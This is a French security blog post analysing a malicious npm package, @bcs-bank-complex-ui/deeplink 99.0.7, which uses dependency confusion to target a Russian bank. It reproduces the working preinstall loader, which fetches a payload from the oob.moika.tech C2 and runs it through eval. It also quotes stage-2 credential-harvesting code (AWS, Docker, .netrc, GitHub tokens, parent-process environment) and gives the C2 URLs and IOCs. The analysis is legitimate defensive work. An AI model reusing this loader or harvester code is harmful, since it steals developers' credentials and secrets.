← Blog

Le 2026-05-04 à 09:37 UTC, le package @bcs-bank-complex-ui/deeplink en version 99.0.7 est publié sur registry.npmjs.org. Une vingtaine de minutes plus tard, MUAD'DIB le flagge avec un score plafonné à 133/100 et huit règles déclenchées simultanément. Le tarball, le serveur C2 et l'infrastructure DNS sont encore actifs au moment de l'analyse, ce qui a permis de récupérer dynamiquement le payload de stage 2 servi par l'opérateur. Un rapport a été soumis à npm Security.

Cet article documente la détection statique, le contenu du loader, le payload de stage 2 récupéré en direct, l'infrastructure d'exfiltration et les indicateurs de compromission associés. Il signale également le contraste entre la sophistication du collecteur multi-plateforme et la trivialité de la couverture choisie pour héberger le C2.

Détection

Le package est publié à 09:37 UTC. Le scan automatique le classe en CRITICAL avec un score brut de 133, plafonné à 100 par la règle de scoring. Huit règles distinctes contribuent au score :

RègleIDContribution
Chargement de code distant (fetch + eval)MUADDIB-AST-040+25
Exécution de payload en deux étapesMUADDIB-FLOW-002+25
Flux de données suspectMUADDIB-FLOW-001+25
Compound lifecycle + dataflowMUADDIB-COMPOUND-007+25
Version >= 99 + lifecycle hookMUADDIB-PKG-019+10
eval() avec expression dynamiqueMUADDIB-AST-004+10
Compound lifecycle + dataflowMUADDIB-COMPOUND-009+10
Script lifecycle détectéMUADDIB-PKG-001+3

La détection est strictement statique : tous les signaux nécessaires à la classification sont visibles dans le tarball publié, sans qu'il faille exécuter le code ni interroger le serveur C2.

Métadonnées du package

Données récupérées via curl https://registry.npmjs.org/@bcs-bank-complex-ui/deeplink :

ChampValeur
Nom@bcs-bank-complex-ui/deeplink
Version99.0.7
Publié le2026-05-04T09:37:04.830Z
Maintainerbcs-bank-complex-ui
Emailbcs-bank-complex-ui@proton.me
Keywordsbug bounty
SHA-1 tarballbd6747dca3752881906c782fa06efbcec02651b8

L'email Proton est jetable. Le nom de compte reproduit littéralement le scope ciblé. La version 99.0.7 est calibrée pour gagner toute résolution semver face à un package interne dont les versions réelles sont vraisemblablement bien plus basses.

Stage 1 : le loader

Le tarball ne contient que trois fichiers : package.json (261 octets), preinstall.js (876 octets) et index.js (21 octets, réduit à module.exports = {}). Le seul fichier qui transporte de la logique est preinstall.js, déclenché par le hook preinstall du package.json.

package.json

{
  "name": "@bcs-bank-complex-ui/deeplink",
  "version": "99.0.7",
  "description": "bcs utilities",
  "main": "index.js",
  "scripts": {
    "preinstall": "node preinstall.js"
  },
  "keywords": [
    "bug bounty"
  ],
  "author": "BCS",
  "license": "ISC"
}

preinstall.js

const http = require("http");
const fs   = require("fs");
const path = require("path");

const BASE = "oob.moika.tech";

const raw   = process.env.npm_package_name
           || (() => {
                try {
                  return JSON.parse(
                    fs.readFileSync(path.join(__dirname, "package.json"), "utf8")
                  ).name;
                } catch(_){}
                return "";
              })();

const scope = raw.startsWith("@")
  ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
const pkg   = (raw.startsWith("@")
  ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");

// Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
  let body = "";
  res.on("data", chunk => { body += chunk; });
  res.on("end", () => { try { eval(body); } catch (_) {} });
}).on("error", () => {}).on("timeout", function() { this.destroy(); });

Le commentaire intégré au loader décrit la charge servie comme safe PoC: whoami/hostname/ifconfig + /etc/passwd only. Le payload récupéré par le même fetch raconte une autre histoire.

Stage 2 : le payload servi en direct

Récupéré en direct le 2026-05-04 via curl http://deeplink.bcs-bank-complex-ui.oob.moika.tech/poc.js. Le serveur a renvoyé un HTTP 200 et un blob JavaScript de 250 lignes, structuré sous forme d'IIFE. Le contenu est servi dynamiquement par le C2 : ce que reçoit la victime au moment où le hook preinstall se déclenche dépend de ce que l'opérateur sert à cet instant. Le snapshot capturé ici a la valeur d'un instantané, pas d'un binaire signé immuable.

Cibles de collecte présentes dans le payload capturé :

CibleMéthodeSources
Infos systèmewhoami, hostname, uname -a, ip addrOS, utilisateur, interfaces réseau
Fichiers systèmereadFileSync/etc/passwd, /etc/hosts, /proc/sys/kernel/hostname
Variables d'environnementprocess.env, printenv, /proc/<pid>/environValeurs des env vars du process courant et des processus parents (jusqu'à 8 niveaux remontés via /proc/<ppid>/status)
Configs shellreadFileSync + suivi des source.bashrc, .zshrc, .profile, .bash_profile, config fish, /etc/environment, /etc/profile
Dotfiles sensiblesreadFileSync.secrets, .tokens, .api_keys, .credentials, .private, .keys
Fichiers .envreadFileSync sur 5 niveaux de répertoires.env, .env.local, .env.production, .env.staging, .env.ci, config/.env et 11 variantes supplémentaires
Tokens npmParseur .npmrc~/.npmrc, $CWD/.npmrc
Tokens YarnParseur .yarnrc.ymlnpmAuthToken, npmRegistryServer
Tokens pnpmParseur compatible .npmrc~/.config/pnpm/rc
Credentials AWSParseur INI~/.aws/credentials, ~/.aws/config
Auth DockerParseur JSON + décodage Base64~/.docker/config.json (champ auth)
.netrcParseur dédié~/.netrc, ~/_netrc (login + password)
Config GitParseur INI~/.gitconfig
Credentials PyPIParseur INI~/.pypirc
Gradle propertiesParseur env~/.gradle/gradle.properties
Credentials CargoParseur INI~/.cargo/credentials.toml
Config pipParseur INIpip.conf / pip.ini
Token GitHub CLIRegex YAML~/.config/gh/hosts.yml (oauth_token)
Registre Windowsreg queryHKCU\Environment, HKLM\...\Session Manager\Environment
Env du login shellSpawn bash/zsh/sh avec sourcing des profilesCapture les env vars invisibles à process.env

Toute la collecte est ensuite concaténée dans un blob texte unique et envoyée par POST /report sur l'OAST en HTTP non chiffré.

Deux extraits du payload, cités sans modification :

Collecte des credentials AWS, Docker, GitHub CLI et .netrc :

function collectConfigFiles() {
  const r = {};
  const cwd = process.cwd();

  // npm tokens
  for (const fp of [path.join(cwd, ".npmrc"), path.join(HOME, ".npmrc")]) {
    const c = readFile(fp); if (c) Object.assign(r, parseNpmrc(c));
  }

  // AWS credentials
  const awsCred = readFile(path.join(HOME, ".aws", "credentials"));
  if (awsCred) Object.assign(r, parseIni(awsCred, "AWS_"));

  // Docker auth (décode le Base64)
  const docker = readFile(path.join(HOME, ".docker", "config.json"));
  if (docker) Object.assign(r, parseDockerConfig(docker));

  // .netrc (login + password en clair)
  const netrc = readFile(path.join(HOME, ".netrc"))
             || readFile(path.join(HOME, "_netrc"));
  if (netrc) Object.assign(r, parseNetrc(netrc));

  // GitHub CLI token
  const ghHosts = readFile(path.join(HOME, ".config", "gh", "hosts.yml"));
  if (ghHosts) {
    const m = ghHosts.match(/oauth_token:\s*([^\s\r\n]+)/);
    if (m) r["GH_CLI_TOKEN"] = m[1];
  }

  return r;
}

Remontée de l'arbre des processus parents via /proc, qui permet de capturer des variables d'environnement injectées par un orchestrateur (CI runner, conteneur init, agent build) qui ne sont pas accessibles au process Node lui-même :

function collectProcEnvs() {
  if (IS_WIN || IS_MAC || !fs.existsSync("/proc")) return {};
  const r = {};
  const visited = new Set();
  let pid = process.ppid;
  for (let i = 0; i < 8; i++) {
    if (!pid || pid <= 1 || visited.has(pid)) break;
    visited.add(pid);
    const envRaw = readFile(`/proc/${pid}/environ`);
    if (envRaw) {
      for (const entry of envRaw.split("\0")) {
        const idx = entry.indexOf("=");
        if (idx > 0) {
          const k = entry.slice(0, idx);
          if (k && !(k in r)) r[k] = entry.slice(idx + 1);
        }
      }
    }
    const status = readFile(`/proc/${pid}/status`);
    if (!status) break;
    const m = status.match(/^PPid:\s+(\d+)/m);
    pid = m ? parseInt(m[1]) : null;
  }
  return r;
}

Infrastructure d'exfiltration

Le payload construit un sous-domaine dynamique qui encode l'identité de la victime :

${pkg}.${scope}.${osName}-${user}.${host}.oob.moika.tech

Exemple :
deeplink.bcs-bank-complex-ui.linux-jenkins.build-server-04.oob.moika.tech

Le domaine est configuré en wildcard DNS : tous les sous-domaines résolvent vers la même adresse. L'attaquant identifie chaque victime par le sous-domaine seul. Même si le POST HTTP est bloqué par un firewall sortant, la résolution DNS suffit à confirmer l'exécution du loader sur la machine cible et à transporter une partie de l'identifiant de victime.

Enregistrement du domaine

ChampValeur
Domainemoika.tech
RegistrarREG.RU LLC (IANA ID 1606)
Créé le2026-03-14
Nameserversns1.reg.ru, ns2.reg.ru
DNSSECnon signé

Hébergement

ChampValeur
IP72.56.97.200
ASNAS210976 (Timeweb, LLP)
LocalisationAmsterdam, NL
Statut au moment de l'analyseHTTP 200 (actif)

La façade

Le domaine racine moika.tech sert un produit SaaS d'apparence légitime : MOIKA, système de réservation Telegram pour stations de lavage automobile (автомойки). Landing page travaillée (branding, mockup d'application, navigation Экосистема / Возможности / Тарифы), claims chiffrés affichés en page d'accueil ("500+ автомоек", "2 млн уведомлений", "98% возвращаются"), tarifs en roubles, témoignages localisés à Moscou, Ekaterinbourg et Kazan. Le serveur OAST de cette campagne tourne en sous-domaine (oob.moika.tech) sous cette vitrine commerciale, partageant la même IP et la même infrastructure DNS que le site public.

Page d'accueil de moika.tech : SaaS de réservation Telegram pour stations de lavage auto, en russe, avec claims chiffrés et mockup d'app.
moika.tech, page d'accueil capturée le 2026-05-04. Branding "MOIKA", revendications "500+ автомоек / 2 млн уведомлений / 98% возвращаются", mockup d'app Telegram à droite. Le sous-domaine oob.moika.tech partage la même IP que ce site.

Empreinte web : nulle

Trois recherches web ciblées ("moika.tech" автомойка Telegram, "moika.tech" car wash SaaS booking, "moika.tech" review отзыв) ne renvoient aucun résultat parlant du domaine lui-même. Tous les hits concernent des produits homonymes mais sans rapport : moika.online, moika2x2.ru, moika.com.ua (boutique ukrainienne), la franchise Digital Moika, des produits de cosmétique coréenne, ou des bots Telegram tiers de réservation auto-lavage. Aucun avis, aucun article presse, aucun annuaire d'apps Telegram, aucune mention sociale, aucun classement vendor n'évoque le domaine.

Pour un SaaS qui revendique en page d'accueil 500 stations clientes et 2 millions de notifications envoyées, l'absence totale d'empreinte publique est anormale. Plusieurs signaux convergent et sont compatibles avec une page générée par un LLM et publiée pour étoffer la couverture du domaine :

  • Domaine enregistré le 2026-03-14, soit sept semaines avant la publication du package npm : pas de longévité d'exploitation possible.
  • Témoignages génériques ("Андрей К., Москва", "Светлана М., Екатеринбург", "Дмитрий Р., Казань") sans nom complet, sans station identifiable, sans photo authentifiable, sans empreinte sociale latérale.
  • Chiffres ronds non sourcés ("500+", "2 млн", "98%") sans étude, sans dashboard d'opérateur, sans communiqué relayé.
  • Aucune référence dans les annuaires russophones d'apps Telegram, ni dans les comparatifs SaaS B2B locaux où un produit revendiquant 500 clients aurait normalement une trace.

Cette observation fait tomber l'hypothèse "produit réel exploité parallèlement par son propriétaire" et "détournement DNS d'un site existant" : il n'y a pas de site préexistant à détourner ni de produit en exploitation à exploiter. La lecture la plus parcimonieuse de l'ensemble est que moika.tech est une vitrine fabriquée pour la campagne, hébergée sur la même IP que oob.moika.tech afin de présenter à un visiteur web (ou à un défenseur en triage initial) un domaine qui ne ressemble pas à un C2.

La cible : BCS Financial Group

BCS Financial Group (БКС) est l'un des plus grands groupes financiers privés de Russie, fondé en 1995 à Novossibirsk. Le groupe comprend BCS Bank (licence bancaire depuis 1989), BCS Prime Brokerage à Londres, et des bureaux à Moscou, New York et Chypre. Effectif déclaré entre 1000 et 5000 personnes selon les sources.

Le scope @bcs-bank-complex-ui n'existait pas sur le registre public npm avant la publication de l'attaquant. Aucun autre package sous ce scope n'est présent sur npmjs.com au moment de la vérification : core, ui, common, utils, shared, components, auth, api et config retournent tous HTTP 404. Le nom complex-ui est trop spécifique pour avoir été tiré au hasard. L'attaquant connaissait ce scope, soit par leak (fichier JS public, stack trace, offre d'emploi, dépôt GitHub indexé), soit par reconnaissance active sur des artefacts internes exposés.

Comment fonctionne la dependency confusion sur ce scope

Les packages internes d'entreprise ne sont pas hébergés sur le registre public npm. Ils sont publiés sur des registres privés (Artifactory, Verdaccio, Nexus, GitHub Packages) accessibles uniquement depuis le réseau interne ou via des credentials privées. Si @bcs-bank-complex-ui existe sur le registre privé de BCS Financial, il n'avait jamais été réservé sur le registre public npmjs.com.

L'attaquant publie un package sous ce scope sur le public en version 99.0.7. Quand un développeur de la cible lance npm install, si la configuration npm n'est pas explicitement verrouillée sur le registre interne pour ce scope (via .npmrc avec @bcs-bank-complex-ui:registry=https://internal.example.com/), le client interroge les deux registres en parallèle. Une version 2.x côté interne et une version 99.0.7 côté public donnent 99.0.7 à la résolution semver. Le hook preinstall s'exécute avant tout code utilisateur, sans interaction utilisateur ni signal visible.

Indices contradictoires sur l'intention

Plusieurs signaux du package et de son loader pourraient laisser penser à un test de sécurité maladroit plutôt qu'à une opération malveillante :

  • Version 99.0.7 : un attaquant cherchant la discrétion choisirait un numéro plausible (par exemple 3.1.2), pas une version qui annonce explicitement une dependency confusion.
  • Keyword bug bounty placé dans les métadonnées du package.json.
  • Commentaire // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) dans le loader.
  • Email Proton qui reproduit littéralement le scope cible (bcs-bank-complex-ui@proton.me) au lieu d'utiliser un alias générique.
  • Exfiltration en HTTP non chiffré, sans authentification, sans persistance, sans reverse shell, sans worm de propagation.

Plusieurs autres signaux tirent dans la direction opposée :

  • Le payload servi par le C2 est un harvester de 250 lignes qui dépasse très largement la portée annoncée par le commentaire (whoami/hostname/ifconfig + /etc/passwd only) : remontée de 8 niveaux de /proc/<ppid>/environ, décodage Base64 des tokens Docker, suivi des chaînes source dans .bashrc / .zshrc / .profile, parsing dédié pour au moins 12 formats de credentials distincts (npm, Yarn, pnpm, AWS, Docker, .netrc, Git, PyPI, Gradle, Cargo, pip, GitHub CLI), et branche dédiée pour l'export du registre Windows.
  • Le payload est servi dynamiquement par le C2, donc modifiable à tout instant : la version de stage 2 capturée par MUAD'DIB n'engage pas l'opérateur sur ce qui sera servi à la prochaine victime.
  • Le domaine de façade moika.tech n'a aucune empreinte web, aucun client identifiable, aucun avis, et a été enregistré sept semaines avant la publication du package : la couverture est fabriquée, pas exploitée.
  • Les destinataires effectifs de l'exécution ne sont pas BCS Financial (qui ne résoudrait @bcs-bank-complex-ui que si sa configuration interne le permettait) mais aussi tout tiers qui taperait ce scope par erreur ou par confusion. Un programme de bug bounty éventuel ne couvre pas l'exécution chez ces tiers, qui ne sont pas parties au programme.

Un proof-of-concept de bug bounty crédible se limiterait à un ping OAST avec hostname et os.type(), sans collecte de credentials. Le code servi ici n'est pas un PoC, c'est un harvester opérationnel. Que l'opérateur prévoie ou non d'invoquer un programme bug bounty pour se défendre a posteriori, la nature du code exécuté chez les victimes ne change pas.

Ce que nous ne pouvons pas confirmer

  • L'identité de l'opérateur n'est pas établie. L'infrastructure (REG.RU, Timeweb LLP, vitrine SaaS russophone) est compatible avec un opérateur russophone mais ne suffit pas à attribuer.
  • L'existence ou non d'un programme bug bounty privé de BCS Financial qui couvrirait ce mode de publication n'est pas confirmée publiquement.
  • Le payload de stage 2 cité ici est un instantané du blob servi le 2026-05-04. Le serveur peut servir une charge différente à un autre moment ou à un autre client, et ce qu'a effectivement reçu une victime donnée ne peut pas être reconstitué a posteriori sans logs de l'opérateur.
  • L'absence d'empreinte web pour moika.tech est observable sur les moteurs publics ; nous n'excluons pas une présence dans des canaux fermés (Telegram privés, intranets) que ces recherches ne couvrent pas.

Indicateurs de compromission

TypeValeur
Package@bcs-bank-complex-ui/deeplink@99.0.7
SHA-1 tarballbd6747dca3752881906c782fa06efbcec02651b8
Intégritésha512-s2rm42EOTfYrl[...]ZOn7ke2HKRIPg==
Domaine C2oob.moika.tech (wildcard sous-domaines)
IP C272.56.97.200
ASNAS210976 (Timeweb LLP)
RegistrarREG.RU LLC
Domaine créé le2026-03-14
Email maintainerbcs-bank-complex-ui@proton.me
Domaine de façademoika.tech (SaaS lavage auto, même IP)

Chronologie

Date / heure (UTC)Évènement
2026-03-14Domaine moika.tech enregistré via REG.RU.
2026-05-04 09:37Package @bcs-bank-complex-ui/deeplink@99.0.7 publié sur registry.npmjs.org.
2026-05-04, ~20 min plus tardDétection MUAD'DIB (score 133/100, plafonné, 8 règles).
2026-05-04Triage manuel : tarball récupéré, payload de stage 2 capturé en direct, forensique d'infrastructure complétée.
2026-05-04Rapport soumis à npm Security.

Cet article sera mis à jour si npm Security retire le package, si une information complémentaire (réponse de BCS Financial, takedown DNS, partage d'IOCs par un tiers) modifie le tableau présenté.

Dernière vérification : 2026-05-04.